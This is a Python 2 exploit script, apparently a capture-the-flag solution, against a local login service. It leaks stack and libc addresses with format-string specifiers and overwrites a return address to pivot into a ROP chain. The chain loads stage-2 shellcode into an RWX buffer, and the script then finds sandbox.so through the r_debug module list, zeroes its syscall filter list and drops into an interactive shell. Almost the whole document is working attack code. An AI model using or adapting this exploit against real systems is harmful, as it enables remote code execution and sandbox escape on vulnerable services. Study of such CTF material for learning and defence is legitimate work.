# wget https://raw.githubusercontent.com/niklasb/ctf-tools/master/tools.py
from tools import *

TARGET = ('127.0.0.1', 5555)

rwx_buf = 0x304aa8000
dt_debug = 0x304a7e4b8

offset_syscall_entry_list = 0xA523E0
offset_syscall_entry_list_end = 0xA523E8
offset___libc_start_main_ret = 0x21ec5
offset_read = 0xeb800
offset_pivot = 0x37381  # add rsp, 0x88; ret
offset_pop_rdi = 0x22b1a
offset_pop_rdx = 0x1b8e
offset_pop_rsi = 0x24805
offset_call_rdi = 0x178cc7
offset_sandbox_base = 0x11e2c000

s = socket.create_connection(TARGET)
s.send("guest\nguest123\n2\n" + "A"*0x100 + "\n4\n")

offsets = [1, 74, 79]
fmt1 = " ".join("%{}$016llx".format(o) for o in offsets)
s.send(fmt1 + "\n\n")
stack = read_until(s, " login failed").split("\n")[-1].split()[4:-2]

ret_addr = int(stack[1], 16) - 0x248
libc_base = int(stack[2], 16) - offset___libc_start_main_ret

print "[*] printf ret addr location = 0x%016x" % ret_addr
print "[*] libc base = 0x%016x" % libc_base
print "[*] rwx buffer = 0x%016x" % rwx_buf

stage2 = x86_64_shellcode.loader(rwx_buf+0x100)
assert len(stage2) <= 0x100

rop = [
    libc_base + offset_pop_rdi,
    0,
    libc_base + offset_pop_rdx,
    len(stage2),
    libc_base + offset_pop_rsi,
    rwx_buf,
    libc_base + offset_read,
    libc_base + offset_pop_rdi,
    rwx_buf,
    libc_base + offset_call_rdi,
]

fmt_addr_offset = 80
fmt_addr_idx = 18

eip = libc_base + offset_pivot
fmt, addrstr, written = make_format(ret_addr, eip, fmt_addr_idx)
assert len(fmt) < fmt_addr_offset
fmt = fmt.ljust(fmt_addr_offset, "\0")
fmt += addrstr
fmt += "A"*8
fmt += "".join(struct.pack("Q", x) for x in rop)
assert len(fmt) <= 0x100 - 8 and "\n" not in fmt
s.send(fmt + "\n\n")
s.send(stage2)
read_until(s, "Password: ")
read_all(s, written)
r = Remote_x86_64(s)

r_debug = r.read8(dt_debug)
print "[*] r_debug @ 0x%016x" % r_debug
cur = r.read8(r_debug + 8)
print "[*] Enumerating modules"
while True:
    name_ptr = r.read8(cur + 8)
    name = r.read_str(name_ptr)
    print hex(cur), name
    if "sandbox.so" in name:
        sandbox_base = r.read8(cur)
        print "[*] Found sandbox.so @ 0x%016x" % sandbox_base
        break
    cur = r.read8(cur + 3*8)

r.write(sandbox_base + offset_syscall_entry_list, "\0"*16)
r.execute(x86_64_shellcode.shell)
print "[*] Enjoy your shell"
socket_interact(s)
